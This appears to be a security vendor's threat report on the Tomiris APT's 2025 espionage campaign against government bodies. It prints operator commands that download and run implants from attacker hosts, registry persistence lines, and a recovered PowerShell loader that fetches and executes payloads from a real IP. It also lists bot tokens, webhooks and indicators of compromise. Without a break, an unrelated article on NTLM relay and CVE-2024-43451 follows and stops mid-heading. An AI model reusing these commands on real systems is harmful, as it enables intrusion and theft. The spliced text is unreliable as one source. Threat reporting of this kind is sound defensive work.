More and more enterprises are opting for cloud-native application protection platforms (CNAPPs) instead of complex and hard-to-manage cloud security point solutions. Find out where your organization is on its CNAPP maturity journey.

Learn to elevate your cloud security strategy & overcome complexity with Vision One™.

While tracking the activities of the Tomiris threat actor, we identified new malicious operations that began in early 2025. These attacks targeted foreign ministries, intergovernmental organizations, and government entities, demonstrating a focus on high-value political and diplomatic infrastructure. In several cases, we traced the threat actor’s actions from initial infection to the deployment of post-exploitation frameworks.

These attacks highlight a notable shift in Tomiris’s tactics, namely the increased use of implants that leverage public services (e.g., Telegram and Discord) as command-and-control (C2) servers. This approach likely aims to blend malicious traffic with legitimate service activity to evade detection by security tools.

Most infections begin with the deployment of reverse shell tools written in various programming languages, including Go, Rust, C/C#/C++, and Python. Some of them then deliver an open-source C2 framework: Havoc or AdaptixC2.

This report in a nutshell:

• New implants developed in multiple programming languages were discovered;
• Some of the implants use Telegram and Discord to communicate with a C2;
• Operators employed Havoc and AdaptixC2 frameworks in subsequent stages of the attack lifecycle.

Kaspersky’s products detect these threats as:

• HEUR:Backdoor.Win64.RShell.gen,
• HEUR:Backdoor.MSIL.RShell.gen,
• HEUR:Backdoor.Win64.Telebot.gen,
• HEUR:Backdoor.Python.Telebot.gen,
• HEUR:Trojan.Win32.RProxy.gen,
• HEUR:Trojan.Win32.TJLORT.a,
• HEUR:Backdoor.Win64.AdaptixC2.a.

For more information, please contact intelreports@kaspersky.com.

Technical details

Initial access

The infection begins with a phishing email containing a malicious archive. The archive is often password-protected, and the password is typically included in the text of the email. Inside the archive is an executable file. In some cases, the executable’s icon is disguised as an office document icon, and the file name includes a double extension such as .doc<dozen_spaces>.exe. However, malicious executable files without icons or double extensions are also frequently encountered in archives. These files often have very long names that are not displayed in full when viewing the archive, so their extensions remain hidden from the user.

Translation:

Subject: The Office of the Government of the Russian Federation on the issue of classification of goods sold in the territory of the Siberian Federal District
Body:
Dear colleagues!
In preparation for the meeting of the Executive Office of the Government of the Russian Federation on the classification of projects implemented in the Siberian Federal District as having a significant impact on the
socioeconomic development of the Siberian District, we request your position on the projects listed in the attached file. The Executive Office of the Government of Russian Federation on the classification of
projects implemented in the Siberian Federal District.
Password: min@2025

When the file is executed, the system becomes infected. However, different implants were often present under the same file names in the archives, and the attackers’ actions varied from case to case.

The implants

Tomiris C/C++ ReverseShell

This implant is a reverse shell that waits for commands from the operator (in most cases that we observed, the infection was human-operated). After a quick environment check, the attacker typically issues a command to download another backdoor – AdaptixC2. AdaptixC2 is a modular framework for post-exploitation, with source code available on GitHub. Attackers use built-in OS utilities like bitsadmin, curl, PowerShell, and certutil to download AdaptixC2. The typical scenario for using the Tomiris C/C++ reverse shell is outlined below.

Environment reconnaissance. The attackers collect various system information, including information about the current user, network configuration, etc.

echo 4fUPU7tGOJBlT6D1wZTUk
whoami
ipconfig /all
systeminfo
hostname
net user /dom
dir 
dir C:\users\[username]

Download of the next-stage implant. The attackers try to download AdaptixC2 from several URLs.

bitsadmin /transfer www /download http://<HOST>/winupdate.exe $public\libraries\winvt.exe
curl -o $public\libraries\service.exe http://<HOST>/service.exe
certutil -urlcache -f https://<HOST>/AkelPad.rar $public\libraries\AkelPad.rar
powershell.exe -Command powershell -Command "Invoke-WebRequest -Uri 'https://<HOST>/winupdate.exe' -OutFile '$public\pictures\sbschost.exe'

Verification of download success. Once the download is complete, the attackers check that AdaptixC2 is present in the target folder and has not been deleted by security solutions.

dir $temp
dir $public\libraries

Establishing persistence for the downloaded payload. The downloaded implant is added to the Run registry key.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdate /t REG_SZ /d $public\pictures\winupdate.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Win-NetAlone" /t REG_SZ /d "$public\videos\alone.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Winservice" /t REG_SZ /d "$public\Pictures\dwm.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurrentVersion/t REG_SZ /d $public\Pictures\sbschost.exe /f

Verification of persistence success. Finally, the attackers check that the implant is present in the Run registry key.

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

This year, we observed three variants of the C/C++ reverse shell whose functionality ultimately provided access to a remote console. All three variants have minimal functionality – they neither replicate themselves nor persist in the system. In essence, if the running process is terminated before the operators download and add the next-stage implant to the registry, the infection ends immediately.

The first variant is likely based on the Tomiris Downloader source code discovered in 2021. This is evident from the use of the same function to hide the application window.

Below are examples of the key routines for each of the detected variants.

Tomiris Rust Downloader

Tomiris Rust Downloader is a previously undocumented implant written in Rust. Although the file size is relatively large, its functionality is minimal.

Upon execution, the Trojan first collects system information by running a series of console commands sequentially.

"cmd" /C "ipconfig /all"
"cmd" /C "echo %username%"
"cmd" /C hostname
"cmd" /C ver
"cmd" /C curl hxxps://ipinfo[.]io/ip
"cmd" /C curl hxxps://ipinfo[.]io/country

Then it searches for files and compiles a list of their paths. The Trojan is interested in files with the following extensions: .jpg, .jpeg, .png, .txt, .rtf, .pdf, .xlsx, and .docx. These files must be located on drives C:/, D:/, E:/, F:/, G:/, H:/, I:/, or J:/. At the same time, it ignores paths containing the following strings: “.wrangler”, “.git”, “node_modules”, “Program Files”, “Program Files (x86)”, “Windows”, “Program Data”, and “AppData”.

A multipart POST request is used to send the collected system information and the list of discovered file paths to Discord via the URL:

hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX

It is worth noting that only the paths to the discovered files are sent to Discord; the Trojan does not transmit the actual files.

The structure of the multipart request is shown below:

Contents of the Content-Disposition header	Description
form-data; name=”payload_json”	System information collected from the infected system via console commands and converted to JSON.
form-data; name=”file”; filename=”files.txt”	A list of files discovered on the drives.
form-data; name=”file2″; filename=”ipconfig.txt”	Results of executing console commands like “ipconfig /all”.

After sending the request, the Trojan creates two scripts, script.vbs and script.ps1, in the temporary directory. Before dropping script.ps1 to the disk, Rust Downloader creates a URL from hardcoded pieces and adds it to the script. It then executes script.vbs using the cscript utility, which in turn runs script.ps1 via PowerShell. The script.ps1 script runs in an infinite loop with a one-minute delay. It attempts to download a ZIP archive from the URL provided by the downloader, extract it to %TEMP%\rfolder, and execute all unpacked files with the .exe extension. The placeholder <PC_NAME> in script.ps1 is replaced with the name of the infected computer.

Content of script.vbs:

Set Shell = CreateObject("WScript.Shell")
Shell.Run "powershell -ep Bypass -w hidden -File %temp%\script.ps1"

Content of script.ps1:

$Url = "hxxp://193.149.129[.]113/<PC_NAME>" 
$dUrl = $Url + "/1.zip" 
while($true){
    try{
        $Response = Invoke-WebRequest -Uri $Url -UseBasicParsing -ErrorAction Stop
        iwr -OutFile $env:Temp\1.zip -Uri $dUrl
        New-Item -Path $env:TEMP\rfolder -ItemType Directory
        tar -xf $env:Temp\1.zip -C $env:Temp\rfolder
        Get-ChildItem $env:Temp\rfolder -Filter "*.exe" | ForEach-Object {Start-Process $_.FullName }
        break
    }catch{
        Start-Sleep -Seconds 60
    }
}

It’s worth noting that in at least one case, the downloaded archive contained an executable file associated with Havoc, another open-source post-exploitation framework.

Tomiris Python Discord ReverseShell

The Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We were able to remove the obfuscation and recover the original script code. The Trojan serves as the initial stage of infection and is primarily used for reconnaissance and downloading subsequent implants. We observed it downloading the AdaptixC2 framework and the Tomiris Python FileGrabber.

The Trojan is based on the “discord” Python package, which implements communication via Discord, and uses the messenger as the C2 channel. Its code contains a URL to communicate with the Discord C2 server and an authentication token. Functionally, the Trojan acts as a reverse shell, receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.

Tomiris Python FileGrabber

As mentioned earlier, this Trojan is installed in the system via the Tomiris Python Discord ReverseShell. The attackers do this by executing the following console command.

cmd.exe /c "curl -o $public\videos\offel.exe http://<HOST>/offel.exe"

The Trojan is written in Python and compiled into an executable using PyInstaller. It collects files with the following extensions into a ZIP archive: .jpg, .png, .pdf, .txt, .docx, and .doc. The resulting archive is sent to the C2 server via an HTTP POST request. During the file collection process, the following folder names are ignored: “AppData”, “Program Files”, “Windows”, “Temp”, “System Volume Information”, “$RECYCLE.BIN”, and “bin”.

Distopia backdoor

The backdoor is based entirely on the GitHub repository project “dystopia-c2” and is written in Python. The executable file was created using PyInstaller. The backdoor enables the execution of console commands on the infected system, the downloading and uploading of files, and the termination of processes. In one case, we were able to trace a command used to download another Trojan – Tomiris Python Telegram ReverseShell.

Sequence of console commands executed by attackers on the infected system:

cmd.exe /c "dir"
cmd.exe /c "dir C:\user\[username]\pictures"
cmd.exe /c "pwd"
cmd.exe /c "curl -O $public\sysmgmt.exe http://<HOST>/private/svchost.exe"
cmd.exe /c "$public\sysmgmt.exe"

Tomiris Python Telegram ReverseShell

The Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We managed to remove the obfuscation and recover the original script code. The Trojan uses Telegram to communicate with the C2 server, with code containing an authentication token and a “chat_id” to connect to the bot and receive commands for execution. Functionally, it is a reverse shell, capable of receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.

Initially, we assumed this was an updated version of the Telemiris bot previously used by the group. However, after comparing the original scripts of both Trojans, we concluded that they are distinct malicious tools.

Other implants used as first-stage infectors

Below, we list several implants that were also distributed in phishing archives. Unfortunately, we were unable to track further actions involving these implants, so we can only provide their descriptions.

Tomiris C# Telegram ReverseShell

Another reverse shell that uses Telegram to receive commands. This time, it is written in C# and operates using the following credentials:

URL = hxxps://api.telegram[.]org/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k/
CHAT_ID = 7709228285

JLORAT

One of the oldest implants used by malicious actors has undergone virtually no changes since it was first identified in 2022. It is capable of taking screenshots, executing console commands, and uploading files from the infected system to the C2. The current version of the Trojan lacks only the download command.

Tomiris Rust ReverseShell

This Trojan is a simple reverse shell written in the Rust programming language. Unlike other reverse shells used by attackers, it uses PowerShell as the shell rather than cmd.exe.

Tomiris Go ReverseShell

The Trojan is a simple reverse shell written in Go. We were able to restore the source code. It establishes a TCP connection to 62.113.114.209 on port 443, runs cmd.exe and redirects standard command line input and output to the established connection.

Tomiris PowerShell Telegram Backdoor

The original executable is a simple packer written in C++. It extracts a Base64-encoded PowerShell script from itself and executes it using the following command line:

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjAGgAYQB0AF8AaQBkACAAPQAgACIANwA3ADAAOQAyADIAOAAyADgANQ…………

The extracted script is a backdoor written in PowerShell that uses Telegram to communicate with the C2 server. It has only two key commands:

• /upload: Download a file from Telegram using a file_Id identifier provided as a parameter and save it to “C:\Users\Public\Libraries\” with the name specified in the parameter file_name.
• /go: Execute a provided command in the console and return the results as a Telegram message.

The script uses the following credentials for communication:

$chat_id = "7709228285"
$botToken = "8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8"
$apiUrl = "hxxps://api.telegram[.]org/bot$botToken/"

Tomiris C# ReverseShell

A simple reverse shell written in C#. It doesn’t support any additional commands beyond console commands.

Other implants

During the investigation, we also discovered several reverse SOCKS proxy implants on the servers from which subsequent implants were downloaded. These samples were also found on infected systems. Unfortunately, we were unable to determine which implant was specifically used to download them. We believe these implants are likely used to proxy traffic from vulnerability scanners and enable lateral movement within the network.

Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)

The implant is a reverse SOCKS proxy written in C++, with code that is almost entirely copied from the GitHub project Neosama/Reverse-SOCKS5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.

Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)

The Trojan is a reverse SOCKS proxy written in Golang, with code that is almost entirely copied from the GitHub project Acebond/ReverseSocks5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.

Victims

Over 50% of the spear-phishing emails and decoy files in this campaign used Russian names and contained Russian text, suggesting a primary focus on Russian-speaking users or entities. The remaining emails were tailored to users in Turkmenistan, Kyrgyzstan, Tajikistan, and Uzbekistan, and included content in their respective national languages.

Attribution

In our previous report, we described the JLORAT tool used by the Tomiris APT group. By analyzing numerous JLORAT samples, we were able to identify several distinct propagation patterns commonly employed by the attackers. These patterns include the use of long and highly specific filenames, as well as the distribution of these tools in password-protected archives with passwords in the format “xyz@2025” (for example, “min@2025” or “sib@2025”). These same patterns were also observed with reverse shells and other tools described in this article. Moreover, different malware samples were often distributed under the same file name, indicating their connection. Below is a brief list of overlaps among tools with similar file names:

Filename (for convenience, we used the asterisk character to substitute numerous space symbols before file extension)	Tool
аппарат правительства российской федерации по вопросу отнесения реализуемых на территории сибирского федерального округа*.exe (translated: Federal Government Agency of the Russian Federation regarding the issue of designating objects located in the Siberian Federal District*.exe)	Tomiris C/C++ ReverseShell: 078be0065d0277935cdcf7e3e9db4679 33ed1534bbc8bd51e7e2cf01cadc9646 536a48917f823595b990f5b14b46e676 9ea699b9854dde15babf260bed30efcc Tomiris Rust ReverseShell: 9a9b1ba210ac2ebfe190d1c63ec707fa Tomiris Go ReverseShell: c26e318f38dfd17a233b23a3ff80b5f4 Tomiris PowerShell Telegram Backdoor: c75665e77ffb3692c2400c3c8dd8276b
О работе почтового сервера план и проведенная работа*.exe (translated: Work of the mail server: plan and performed work*.exe)	Tomiris C/C++ ReverseShell: 0f955d7844e146f2bd756c9ca8711263 Tomiris Rust Downloader: 1083b668459beacbc097b3d4a103623f Tomiris C# ReverseShell: abb3e2b8c69ff859a0ec49b9666f0a01 Tomiris Go ReverseShell: c26e318f38dfd17a233b23a3ff80b5f4
план-протокол встречи о сотрудничестве представителей*.exe (translated: Meeting plan-protocol on cooperation representatives*.exe)	Tomiris PowerShell Telegram Backdoor: 09913c3292e525af34b3a29e70779ad6 0ddc7f3cfc1fb3cea860dc495a745d16 Tomiris C/C++ ReverseShell: 0f955d7844e146f2bd756c9ca8711263 Tomiris Rust Downloader: 1083b668459beacbc097b3d4a103623f 72327bf7a146273a3cfec79c2cbbe54e d3641495815c9617e58470448a1c94db JLORAT: c73c545c32e5d1f72b74ab0087ae1720
положения о центрах передового опыта (превосходства) в рамках межгосударственной программы*.exe (translated: Provisions on Centers of Best Practices (Excellence) within the framework of the interstate program*.exe)	Tomiris PowerShell Telegram Backdoor: 09913c3292e525af34b3a29e70779ad6 Tomiris C/C++ ReverseShell: 33ed1534bbc8bd51e7e2cf01cadc9646 9ea699b9854dde15babf260bed30efcc JLORAT: 6a49982272ba11b7985a2cec6fbb9a96 c73c545c32e5d1f72b74ab0087ae1720 Tomiris Rust Downloader: 72327bf7a146273a3cfec79c2cbbe54e

We also analyzed the group’s activities and found other tools associated with them that may have been stored on the same servers or used the same servers as a C2 infrastructure. We are highly confident that these tools all belong to the Tomiris group.

Conclusions

The Tomiris 2025 campaign leverages multi-language malware modules to enhance operational flexibility and evade detection by appearing less suspicious. The primary objective is to establish remote access to target systems and use them as a foothold to deploy additional tools, including AdaptixC2 and Havoc, for further exploitation and persistence.

The evolution in tactics underscores the threat actor’s focus on stealth, long-term persistence, and the strategic targeting of government and intergovernmental organizations. The use of public services for C2 communications and multi-language implants highlights the need for advanced detection strategies, such as behavioral analysis and network traffic inspection, to effectively identify and mitigate such threats.

Indicators of compromise

More indicators of compromise, as well as any updates to them, are available to customers of our APT reporting service. If interested, please contact intelreports@kaspersky.com.

Distopia Backdoor
B8FE3A0AD6B64F370DB2EA1E743C84BB

Tomiris Python Discord ReverseShell
091FBACD889FA390DC76BB24C2013B59

Tomiris Python FileGrabber
C0F81B33A80E5E4E96E503DBC401CBEE

Tomiris Python Telegram ReverseShell
42E165AB4C3495FADE8220F4E6F5F696

Tomiris C# Telegram ReverseShell
2FBA6F91ADA8D05199AD94AFFD5E5A18

Tomiris C/C++ ReverseShell
0F955D7844E146F2BD756C9CA8711263
078BE0065D0277935CDCF7E3E9DB4679
33ED1534BBC8BD51E7E2CF01CADC9646

Tomiris Rust Downloader
1083B668459BEACBC097B3D4A103623F

JLORAT
C73C545C32E5D1F72B74AB0087AE1720

Tomiris Rust ReverseShell
9A9B1BA210AC2EBFE190D1C63EC707FA

Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)
2ED5EBC15B377C5A03F75E07DC5F1E08

Tomiris PowerShell Telegram Backdoor
C75665E77FFB3692C2400C3C8DD8276B

Tomiris C# ReverseShell
DF95695A3A93895C1E87A76B4A8A9812

Tomiris Go ReverseShell
087743415E1F6CC961E9D2BB6DFD6D51

Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)
83267C4E942C7B86154ACD3C58EAF26C

AdaptixC2
CD46316AEBC41E36790686F1EC1C39F0
1241455DA8AADC1D828F89476F7183B7
F1DCA0C280E86C39873D8B6AF40F7588

Havoc
4EDC02724A72AFC3CF78710542DB1E6E

Domains/IPs/URLs
Distopia Backdoor
hxxps://discord[.]com/api/webhooks/1357597727164338349/ikaFqukFoCcbdfQIYXE91j-dGB-8YsTNeSrXnAclYx39Hjf2cIPQalTlAxP9-2791UCZ

Tomiris Python Discord ReverseShell
hxxps://discord[.]com/api/webhooks/1370623818858762291/p1DC3l8XyGviRFAR50de6tKYP0CCr1hTAes9B9ljbd-J-dY7bddi31BCV90niZ3bxIMu
hxxps://discord[.]com/api/webhooks/1388018607283376231/YYJe-lnt4HyvasKlhoOJECh9yjOtbllL_nalKBMUKUB3xsk7Mj74cU5IfBDYBYX-E78G
hxxps://discord[.]com/api/webhooks/1386588127791157298/FSOtFTIJaNRT01RVXk5fFsU_sjp_8E0k2QK3t5BUcAcMFR_SHMOEYyLhFUvkY3ndk8-w
hxxps://discord[.]com/api/webhooks/1369277038321467503/KqfsoVzebWNNGqFXePMxqi0pta2445WZxYNsY9EsYv1u_iyXAfYL3GGG76bCKy3-a75
hxxps://discord[.]com/api/webhooks/1396726652565848135/OFds8Do2qH-C_V0ckaF1AJJAqQJuKq-YZVrO1t7cWuvAp7LNfqI7piZlyCcS1qvwpXTZ

Tomiris Python FileGrabber
hxxp://62.113.115[.]89/homepage/infile.php

Tomiris Python Telegram ReverseShell
hxxps://api.telegram[.]org/bot7562800307:AAHVB7Ctr-K52J-egBlEdVoRHvJcYr-0nLQ/

Tomiris C# Telegram ReverseShell
hxxps://api.telegram[.]org/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k/

Tomiris C/C++ ReverseShell
77.232.39[.]47
109.172.85[.]63
109.172.85[.]95
185.173.37[.]67
185.231.155[.]111
195.2.81[.]99

Tomiris Rust Downloader
hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX
hxxps://discordapp[.]com/api/webhooks/1363764458815623370/IMErckdJLreUbvxcUA8c8SCfhmnsnivtwYSf7nDJF-bWZcFcSE2VhXdlSgVbheSzhGYE
hxxps://discordapp[.]com/api/webhooks/1355019191127904457/xCYi5fx_Y2-ddUE0CdHfiKmgrAC-Cp9oi-Qo3aFG318P5i-GNRfMZiNFOxFrQkZJNJsR
hxxp://82.115.223[.]218/
hxxp://172.86.75[.]102/
hxxp://193.149.129[.]113/

JLORAT
hxxp://82.115.223[.]210:9942/bot_auth
hxxp://88.214.26[.]37:9942/bot_auth
hxxp://141.98.82[.]198:9942/bot_auth

Tomiris Rust ReverseShell
185.209.30[.]41

Tomiris C++ ReverseSocks (based on GitHub “Neosama/Reverse-SOCKS5”)
185.231.154[.]84

Tomiris PowerShell Telegram Backdoor
hxxps://api.telegram[.]org/bot8044543455:AAG3Pt4fvf6tJj4Umz2TzJTtTZD7ZUArT8E/
hxxps://api.telegram[.]org/bot7864956192:AAEjExTWgNAMEmGBI2EsSs46AhO7Bw8STcY/
hxxps://api.telegram[.]org/bot8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8/
hxxps://api.telegram[.]org/bot7157076145:AAG79qKudRCPu28blyitJZptX_4z_LlxOS0/
hxxps://api.telegram[.]org/bot7649829843:AAH_ogPjAfuv-oQ5_Y-s8YmlWR73Gbid5h0/

Tomiris C# ReverseShell
206.188.196[.]191
188.127.225[.]191
188.127.251[.]146
94.198.52[.]200
188.127.227[.]226
185.244.180[.]169
91.219.148[.]93

Tomiris Go ReverseShell
62.113.114[.]209
195.2.78[.]133

Tomiris Go ReverseSocks (based on GitHub “Acebond/ReverseSocks5”)
192.165.32[.]78
188.127.231[.]136

AdaptixC2
77.232.42[.]107
94.198.52[.]210
96.9.124[.]207
192.153.57[.]189
64.7.199[.]193

Havoc
78.128.112[.]209

Malicious URLs
hxxp://188.127.251[.]146:8080/sbchost.rar
hxxp://188.127.251[.]146:8080/sxbchost.exe
hxxp://192.153.57[.]9/private/svchost.exe
hxxp://193.149.129[.]113/732.exe
hxxp://193.149.129[.]113/system.exe
hxxp://195.2.79[.]245/732.exe
hxxp://195.2.79[.]245/code.exe
hxxp://195.2.79[.]245/firefox.exe
hxxp://195.2.79[.]245/rever.exe
hxxp://195.2.79[.]245/service.exe
hxxp://195.2.79[.]245/winload.exe
hxxp://195.2.79[.]245/winload.rar
hxxp://195.2.79[.]245/winsrv.rar
hxxp://195.2.79[.]245/winupdate.exe
hxxp://62.113.115[.]89/offel.exe
hxxp://82.115.223[.]78/private/dwm.exe
hxxp://82.115.223[.]78/private/msview.exe
hxxp://82.115.223[.]78/private/spoolsvc.exe
hxxp://82.115.223[.]78/private/svchost.exe
hxxp://82.115.223[.]78/private/sysmgmt.exe
hxxp://85.209.128[.]171:8000/AkelPad.rar
hxxp://88.214.25[.]249:443/netexit.rar
hxxp://89.110.95[.]151/dwm.exe
hxxp://89.110.98[.]234/Rar.exe
hxxp://89.110.98[.]234/code.exe
hxxp://89.110.98[.]234/rever.rar
hxxp://89.110.98[.]234/winload.exe
hxxp://89.110.98[.]234/winload.rar
hxxp://89.110.98[.]234/winrm.exe
hxxps://docsino[.]ru/wp-content/private/alone.exe
hxxps://docsino[.]ru/wp-content/private/winupdate.exe
hxxps://sss.qwadx[.]com/12345.exe
hxxps://sss.qwadx[.]com/AkelPad.exe
hxxps://sss.qwadx[.]com/netexit.rar
hxxps://sss.qwadx[.]com/winload.exe
hxxps://sss.qwadx[.]com/winsrv.exe

Just like the 2000s

Flip phones grew popular, Windows XP debuted on personal computers, Apple introduced the iPod, peer-to-peer file sharing via torrents was taking off, and MSN Messenger dominated online chat. That was the tech scene in 2001, the same year when Sir Dystic of Cult of the Dead Cow published SMBRelay, a proof-of-concept that brought NTLM relay attacks out of theory and into practice, demonstrating a powerful new class of authentication relay exploits.

Ever since that distant 2001, the weaknesses of the NTLM authentication protocol have been clearly exposed. In the years that followed, new vulnerabilities and increasingly sophisticated attack methods continued to shape the security landscape. Microsoft took up the challenge, introducing mitigations and gradually developing NTLM’s successor, Kerberos. Yet more than two decades later, NTLM remains embedded in modern operating systems, lingering across enterprise networks, legacy applications, and internal infrastructures that still rely on its outdated mechanisms for authentication.

Although Microsoft has announced its intention to retire NTLM, the protocol remains present, leaving an open door for attackers who keep exploiting both long-standing and newly discovered flaws.

In this blog post, we take a closer look at the growing number of NTLM-related vulnerabilities uncovered over the past year, as well as the cybercriminal campaigns that have actively weaponized them across different regions of the world.

How NTLM authentication works

NTLM (New Technology LAN Manager) is a suite of security protocols offered by Microsoft and intended to provide authentication, integrity, and confidentiality to users.

In terms of authentication, NTLM is a challenge-response-based protocol used in Windows environments to authenticate clients and servers. Such protocols depend on a shared secret, typically the client’s password, to verify identity. NTLM is integrated into several application protocols, including HTTP, MSSQL, SMB, and SMTP, where user authentication is required. It employs a three-way handshake between the client and server to complete the authentication process. In some instances, a fourth message is added to ensure data integrity.

The full authentication process appears as follows:

1. The client sends a NEGOTIATE_MESSAGE to advertise its capabilities.
2. The server responds with a CHALLENGE_MESSAGE to verify the client’s identity.
3. The client encrypts the challenge using its secret and responds with an AUTHENTICATE_MESSAGE that includes the encrypted challenge, the username, the hostname, and the domain name.
4. The server verifies the encrypted challenge using the client’s password hash and confirms its identity. The client is then authenticated and establishes a valid session with the server. Depending on the application layer protocol, an authentication confirmation (or failure) message may be sent by the server.

Importantly, the client’s secret never travels across the network during this process.

NTLM is dead — long live NTLM

Despite being a legacy protocol with well-documented weaknesses, NTLM continues to be used in Windows systems and hence actively exploited in modern threat campaigns. Microsoft has announced plans to phase out NTLM authentication entirely, with its deprecation slated to begin with Windows 11 24H2 and Windows Server 2025 (1, 2, 3), where NTLMv1 is removed completely, and NTLMv2 disabled by default in certain scenarios. Despite at least three major public notices since 2022 and increased documentation and migration guidance, the protocol persists, often due to compatibility requirements, legacy applications, or misconfigurations in hybrid infrastructures.

As recent disclosures show, attackers continue to find creative ways to leverage NTLM in relay and spoofing attacks, including new vulnerabilities. Moreover, they introduce alternative attack vectors inherent to the protocol, which will be further explored in the post, specifically in the context of automatic downloads and malware execution via WebDAV following NTLM authentication attempts.

Persistent threats in NTLM-based authentication

NTLM presents a broad threat landscape, with multiple attack vectors stemming from its inherent design limitations. These include credential forwarding, coercion-based attacks, hash interception, and various man-in-the-middle techniques, all of them exploiting the protocol’s lack of modern safeguards such as channel binding and mutual authentication. Prior to examining the current exploitation campaigns, it is essential to review the primary attack techniques involved.

Hash leakage

Hash leakage refers to the unintended exposure of NTLM authentication hashes, typically caused by crafted files, malicious network paths, or phishing techniques. This is a passive technique that doesn’t require any attacker actions on the target system. A common scenario involving this attack vector starts with a phishing attempt that includes (or links to) a file designed to exploit native Windows behaviors. These behaviors automatically initiate NTLM authentication toward resources controlled by the attacker. Leakage often occurs through minimal user interaction, such as previewing a file, clicking on a remote link, or accessing a shared network resource. Once attackers have the hashes, they can reuse them in a credential forwarding attack.

Coercion-based attacks

In coercion-based attacks, the attacker actively forces the target system to authenticate to an attacker-controlled service. No user interaction is needed for this type of attack. For example, tools like PetitPotam or PrinterBug are commonly used to trigger authentication attempts over protocols such as MS-EFSRPC or MS-RPRN. Once the victim system begins the NTLM handshake, the attacker can intercept the authentication hash or relay it to a separate target, effectively impersonating the victim on another system. The latter case is especially impactful, allowing immediate access to file shares, remote management interfaces, or even Active Directory Certificate Services, where attackers can request valid authentication certificates.

Credential forwarding

Credential forwarding refers to the unauthorized reuse of previously captured NTLM authentication tokens, typically hashes, to impersonate a user on a different system or service. In environments where NTLM authentication is still enabled, attackers can leverage previously obtained credentials (via hash leakage or coercion-based attacks) without cracking passwords. This is commonly executed through Pass-the-Hash (PtH) or token impersonation techniques. In networks where NTLM is still in use, especially in conjunction with misconfigured single sign-on (SSO) or inter-domain trust relationships, credential forwarding may provide extensive access across multiple systems.

This technique is often used to facilitate lateral movement and privilege escalation, particularly when high-privilege credentials are exposed. Tools like Mimikatz allow extraction and injection of NTLM hashes directly into memory, while Impacket’s wmiexec.py, PsExec.py, and secretsdump.py can be used to perform remote execution or credential extraction using forwarded hashes.

Man-in-the-Middle (MitM) attacks

An attacker positioned between a client and a server can intercept, relay, or manipulate authentication traffic to capture NTLM hashes or inject malicious payloads during the session negotiation. In environments where safeguards such as digital signing or channel binding tokens are missing, these attacks are not only possible but frequently easy to execute.

Among MitM attacks, NTLM relay remains the most enduring and impactful method, so much so that it has remained relevant for over two decades. Originally demonstrated in 2001 through the SMBRelay tool by Sir Dystic (member of Cult of the Dead Cow), NTLM relay continues to be actively used to compromise Active Directory environments in real-world scenarios. Commonly used tools include Responder, Impacket’s NTLMRelayX, and Inveigh. When NTLM relay occurs within the same machine from which the hash was obtained, it is also referred to as NTLM reflexion attack.

NTLM exploitation in 2025

Over the past year, multiple vulnerabilities have been identified in Windows environments where NTLM remains enabled implicitly. This section highlights the most relevant CVEs reported throughout the year, along with key attack vectors observed in real-world campaigns.

CVE-2024‑43451

CVE-2024‑43451 is a vulnerability in Microsoft Windows that enables the leakage of NTLMv2 password hashes with minimal or no user interaction, potentially resulting in credential compromise.

The vulnerability exists thanks to the continued presence of the MSHTML engine, a legacy component originally developed for Internet Explorer. Although Internet Explorer has been officially deprecated, MSHTML remains embedded in modern Windows systems for backward compatibility, particularly with applications and interfaces that still rely on its rendering or link-handling capabilities. This dependency allows .url files to silently invoke NTLM authentication processes through crafted links without necessarily being open. While directly opening the malicious .url file reliably triggers the exploit, the vulnerability may also be activated through alternative user actions such as right clicking, deleting, single-clicking, or just moving the file to a different folder.

Attackers can exploit this flaw by initiating NTLM authentication over SMB to a remote server they control (specifying a URL in UNC path format), thereby capturing the user’s hash. By obtaining the NTLMv2 hash, an attacker can execute a pass-the-hash attack (e.g. by using tools like WMIExec or PSExec) to gain network access by impersonating a valid user, without the need to know the user’s actual credentials.

A particular case of this vulnerability occurs when attackers use WebDAV servers, a set of extensions to the HTTP protocol, which enables collaboration on files hosted on web servers. In this case, a minimal interaction with the malicious file, such as a single click or a right click, triggers automatic connection to the server, file download, and execution. The attackers use this flaw to deliver malware or other payloads to the target system. They also may combine this with hash leaking, for example, by installing a malicious tool on the victim system and using the captured hashes to perform lateral movement through that tool.

The vulnerability was addressed by Microsoft in its November 2024 security updates. In patched environments, motion, deletion, right-clicking the crafted .url file, etc. won’t trigger a connection to a malicious server. However, when the user opens the exploit, it will still work.

After the disclosure, the number of attacks exploiting the vulnerability grew exponentially. By July this year, we had detected around 600 suspicious .url files that contain the necessary characteristics for the exploitation of the vulnerability and could represent a potential threat.

BlindEagle campaign delivering Remcos RAT via CVE-2024-43451

